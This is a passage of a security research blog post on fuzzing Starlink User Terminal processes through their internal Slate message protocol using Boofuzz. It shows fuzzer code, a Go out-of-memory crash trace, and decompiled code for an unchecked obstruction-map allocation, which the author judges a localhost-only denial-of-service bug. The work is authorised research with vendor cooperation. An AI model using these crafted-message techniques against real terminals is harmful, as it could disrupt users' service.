<span class="n">fuzz_values</span><span class="o">=</span><span class="p">[</span><span class="sa">b</span><span class="s2">"</span><span class="se">\x00\x00\x00\x00</span><span class="s2">"</span><span class="p">,</span> <span class="sa">b</span><span class="s2">"</span><span class="se">\x00\x00\x00\x01</span><span class="s2">"</span><span class="p">],</span>
<span class="p">)</span>
<span class="k">if</span> <span class="n">param</span><span class="o">.</span><span class="n">dtype</span><span class="o">.</span><span class="n">name</span> <span class="o">==</span> <span class="s2">"INT8"</span> <span class="ow">or</span> <span class="n">param</span><span class="o">.</span><span class="n">dtype</span><span class="o">.</span><span class="n">name</span> <span class="o">==</span> <span class="s2">"UINT8"</span><span class="p">:</span>
<span class="k">return</span> <span class="n">Byte</span><span class="p">(</span><span class="n">name</span><span class="o">=</span><span class="n">param</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
<span class="k">if</span> <span class="n">param</span><span class="o">.</span><span class="n">dtype</span><span class="o">.</span><span class="n">name</span> <span class="o">==</span> <span class="s2">"INT32"</span> <span class="ow">or</span> <span class="n">param</span><span class="o">.</span><span class="n">dtype</span><span class="o">.</span><span class="n">name</span> <span class="o">==</span> <span class="s2">"UINT32"</span> <span class="ow">or</span> <span class="n">param</span><span class="o">.</span><span class="n">dtype</span><span class="o">.</span><span class="n">name</span> <span class="o">==</span> <span class="s2">"FLOAT"</span><span class="p">:</span>
<span class="k">return</span> <span class="n">DWord</span><span class="p">(</span><span class="n">name</span><span class="o">=</span><span class="n">param</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
</code></pre></div>
<p>Every data type used in the Slate message protocol could be encoded using Boofuzz's standard types, apart from the Sequence number, which needs to store an internal state to increment itself every iteration, you can see its implementation in the following snippet.
Static fields such as the <code>Bwptype</code> and <code>Crc</code> can be encoded using the <code>Static</code> type from Boofuzz.</p>
<div class="highlight"><pre><span></span><code><span class="k">class</span> <span class="nc">SequenceNumber</span><span class="p">(</span><span class="n">Fuzzable</span><span class="p">):</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">):</span>
<span class="nb">super</span><span class="p">()</span><span class="o">.</span><span class="fm">__init__</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">,</span> <span class="n">fuzzable</span><span class="o">=</span><span class="kc">False</span><span class="p">,</span> <span class="n">default_value</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span>
<span class="bp">self</span><span class="o">.</span><span class="n">_curr</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">def</span> <span class="nf">encode</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">value</span><span class="p">:</span> <span class="nb">bytes</span> <span class="o">=</span> <span class="kc">None</span><span class="p">,</span> <span class="n">mutation_context</span><span class="o">=</span><span class="kc">None</span><span class="p">)</span> <span class="o">-></span> <span class="nb">bytes</span><span class="p">:</span>
<span class="n">curr</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_curr</span>
<span class="bp">self</span><span class="o">.</span><span class="n">_curr</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">return</span> <span class="nb">int</span><span class="o">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="n">curr</span><span class="p">,</span> <span class="n">length</span><span class="o">=</span><span class="mi">8</span><span class="p">,</span> <span class="n">byteorder</span><span class="o">=</span><span class="s2">"big"</span><span class="p">)</span>
</code></pre></div>
<p>Once the message structure has been defined, the fuzzer can use the code from the Slate injector to send the messages.
The only component that needs to be implemented at this point is something that can detect if a program has crashed after a message was sent.
At first, we were issuing the <code>pgrep</code> command through SSH, but this was adding an overhead that was slowing the fuzzer.
So we've implemented a simple script that runs on the dish, opening a TCP socket and waiting for a connection which will then be used to directly communicate with the fuzzer.
The part of the process monitor that will run on the client (fuzzer machine) can be integrated into the fuzzer, by inheriting Boofuzz's <code>BaseMonitor</code> and implementing its methods, such as <code>alive</code> (check if the target process is still alive) and <code>restart_target</code> (restart the target process).
The resulting architecture is shown in the following figure.</p>
<p><center>
<a href="resources/2023-08-16_starlink/slate-fuzzer.png">
<img src="resources/2023-08-16_starlink/slate-fuzzer.png" width="80%">
</a>
</center></p>
<p>Some crashes were found by fuzzing the <code>control_to_frontend</code> protocol but none of them appeared to be exploitable in ways other than simply crashing the program, causing a Denial of Service for the frontend applications.
This is because the frontend process is a Go binary and the Go runtime makes the process crash (through the <code>panic</code> function) because it detects that something fishy is going on.</p>
<p>As an example, the following are the details of one of these crashes.
In the following snippet, you can see part of the stack trace produced by the Go runtime upon the crash, from which you can understand that the crash is caused by the function <code>UpdateObstructionMap</code>, which tries to allocate too much memory.</p>
<div class="highlight"><pre><span></span><code><span class="n">fatal</span><span class="w"> </span><span class="nl">error</span><span class="p">:</span><span class="w"> </span><span class="nl">runtime</span><span class="p">:</span><span class="w"> </span><span class="k">out</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="n">memory</span><span class="w"></span>
<span class="n">goroutine</span><span class="w"> </span><span class="mi">5</span><span class="w"> </span><span class="o">[</span><span class="n">running</span><span class="o">]</span><span class="err">:</span><span class="w"></span>
<span class="o">[</span><span class="n">...</span><span class="o">]</span><span class="w"></span>
<span class="n">runtime</span><span class="p">.(</span><span class="o">*</span><span class="n">mheap</span><span class="p">).</span><span class="n">alloc</span><span class="p">(</span><span class="mh">0x5046800</span><span class="vm">?</span><span class="p">,</span><span class="w"> </span><span class="mh">0x28234</span><span class="vm">?</span><span class="p">,</span><span class="w"> </span><span class="mh">0xd0</span><span class="vm">?</span><span class="p">)</span><span class="w"></span>
<span class="o">[</span><span class="n">...</span><span class="o">]</span><span class="w"></span>
<span class="n">main</span><span class="p">.(</span><span class="o">*</span><span class="n">DishControl</span><span class="p">).</span><span class="n">UpdateObstructionMap</span><span class="p">(</span><span class="mh">0x40003be000</span><span class="p">,</span><span class="w"> </span><span class="err">{</span><span class="mh">0x7a90f8</span><span class="vm">?</span><span class="p">,</span><span class="w"> </span><span class="mh">0x4000580380</span><span class="vm">?</span><span class="err">}</span><span class="p">)</span><span class="w"></span>
<span class="o">[</span><span class="n">...</span><span class="o">]</span><span class="w"></span>
</code></pre></div>
<p>By inspecting further this function, we understood how the obstruction map is transferred to the frontend process.
First of all, the obstruction map is a 3D map of the sky above the antenna, indicating whether the antenna has a clear view of the sky or is obstructed by an obstacle such as a tree or other buildings, that the user can see from the frontend applications.
This map is not produced by the frontend process, thus it has to be sent to it through Slate messages.</p>
<div class="highlight"><pre><span></span><code>obstruction_map.config.num_rows uint32
obstruction_map.config.num_cols uint32
obstruction_map.current.obstructed bool
obstruction_map.current.index uint32
</code></pre></div>
<p>In the snippet above you can see part of the message structure definition that carries information about the obstruction map.
The obstruction map is represented in memory as a matrix, in which each point can be obstructed or not.
The control process sends this information by sending one Slate message for each point in the matrix, by setting the right <code>index</code> and setting <code>obstructed</code> to <code>true</code> or <code>false</code>.
The size of the matrix is not fixed, and its dimensions can be set by the control process by using the <code>num_rows</code> and <code>num_cols</code> fields in the message.
This is where the bug resides, in fact when sending big values in these two fields, the program tries to allocate enough memory for the matrix and panics for this reason.</p>
<div class="highlight"><pre><span></span><code><span class="n">len</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ObstructionMapConfigNumCols</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">ObstructionMapConfigNumRows</span><span class="p">;</span><span class="w"></span>
<span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">len</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="p">(</span><span class="n">this</span><span class="o">-></span><span class="n">obstructionMap</span><span class="p">).</span><span class="n">snr</span><span class="p">.</span><span class="n">__count</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="k">goto</span><span class="w"> </span><span class="n">LAB_0050b7f4</span><span class="p">;</span><span class="w"></span>
<span class="p">(</span><span class="n">this</span><span class="o">-></span><span class="n">obstructionMap</span><span class="p">).</span><span class="n">numRows</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ObstructionMapConfigNumRows</span><span class="p">;</span><span class="w"></span>
<span class="p">(</span><span class="n">this</span><span class="o">-></span><span class="n">obstructionMap</span><span class="p">).</span><span class="n">numCols</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ObstructionMapConfigNumCols</span><span class="p">;</span><span class="w"></span>
<span class="n">puVar5</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">runtime</span><span class="p">.</span><span class="n">makeslice</span><span class="p">(</span><span class="o">&</span><span class="n">datatype</span><span class="p">.</span><span class="n">Float32</span><span class="p">.</span><span class="n">float32</span><span class="p">,</span><span class="n">len</span><span class="p">,</span><span class="n">len</span><span class="p">);</span><span class="w"></span>
</code></pre></div>
<p>The snippet above shows the decompiled and annotated code of the frontend binary which handles the size of the obstruction upon the reception of a slate message.
Line 1 computes the size of the matrix and line 2 compares it with the current size of the matrix the program has in memory, if the two differ then the dimensions are updated in the internal memory structure on Lines 4 and 5, and then the new matrix is allocated using the <code>makeslice</code> method of the Go runtime on Line 6.
As you can see, no checks are performed on the size to be allocated, nor on the result of the multiplication between the two given dimensions.
This would be very dangerous in C, but the Go runtime handles all the corner cases automatically, by checking that the size of the asked memory is positive and not too big.
The Go runtime also checks every array access, otherwise, an arbitrary write would probably be possible by playing with the index and the size of the matrix.</p>
<p>Note that this bug can only be triggered by sending crafted UDP packets to a service bound to localhost only.
Therefore it is not possible to trigger it from an external network.
Additionally, the <code>iptables</code> configuration of the UT filters out incoming UDP packets, so spoofing packets with a localhost source IP would not work either.
Therefore we did not consider this a vulnerability but merely a bug.</p>
<p>After we implemented the fuzzer and used it in the emulator, we were provided a rooted UT by Starlink, then we confirmed the presence of the aforementioned bug on a real device and fuzzed some more processes that weren't working in the emulator.</p>
<h2>Conclusion</h2>
<p>You can find more details in my master's thesis which will be published at the end of this year, stay tuned!
The presented tools and script can be found in <a href="https://github.com/quarkslab/starlink-tools/">this repo</a>.</p>
<p>This work and the tools we have published are meant to be reused for further research on Starlink's User Terminal.
Unfortunately, due to some technical issues and time constraints, we did not manage to fully inspect the network stack and protocols used in the satellite communications, but hopefully, this knowledge base of the higher-level management function of the runtime can be used in the future to assist in that effort.</p>
<p>I encourage research on this topic also because SpaceX's security team is there to help you and they offer some <a href="https://bugcrowd.com/spacex">juicy bounties</a>.</p>
<p>Many thanks to:</p>
<ul>
<li>Maxime Rossi Bellom, my internship tutor, for guiding me in this research.</li>
<li>Lennert Wouters, who was the author of the blog post regarding the dumping of the firmware and the fault injection attack of Starlink's User Terminal, for helping us in the early stages of this research.</li>
<li>Tim Ferrell, from SpaceX's security team, for sending us a testing dish with root access.</li>
<li>Ivan Arce, Salwa Souaf and Guillaume Valadon for reviewing my blog post.</li>
<li>Many other amazing colleagues for helping me on topics in their fields of expertise.</li>
</ul>